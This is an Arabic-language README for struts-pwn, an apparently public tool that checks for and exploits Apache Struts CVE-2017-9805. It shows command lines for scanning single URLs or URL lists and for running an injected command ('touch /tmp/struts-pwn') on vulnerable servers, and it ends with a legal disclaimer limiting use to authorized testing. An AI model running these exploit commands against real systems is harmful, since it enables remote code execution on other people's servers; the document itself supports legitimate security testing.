struts-pwn - استغلال CVE-2017-9805

استغلال لـ Apache Struts CVE-2017-9805

الاستخدام

التحقق من وجود الثغرة الأمنية ضد عنوان URL واحد.

python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

التحقق من وجود الثغرة الأمنية ضد قائمة عناوين URL.

python struts-pwn.py --list 'urls.txt'

استغلال عنوان URL واحد.

python struts-pwn.py --exploit --url 'http://example.com/struts2-rest-showcase/orders/3' -c 'touch /tmp/struts-pwn'

استغلال قائمة عناوين URL.

python struts-pwn.py --exploit --list 'urls.txt' -c 'touch /tmp/struts-pwn'

عرض توضيحي

المتطلبات

• Python2 أو Python3
• requests

إخلاء المسؤولية القانوني

صُنع هذا المشروع لأغراض تعليمية واختبارات أخلاقية فقط. يُعد استخدام struts-pwn لمهاجمة الأهداف دون موافقة متبادلة مسبقة أمرًا غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يُعتبرون مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

الترخيص

المشروع مرخّص بموجب رخصة MIT.

المؤلف

مازن أحمد

• الموقع الإلكتروني: https://mazinahmed.net
• البريد الإلكتروني: mazin AT mazinahmed DOT net
• تويتر: https://twitter.com/mazen160
• لينكد إن: http://linkedin.com/in/infosecmazinahmed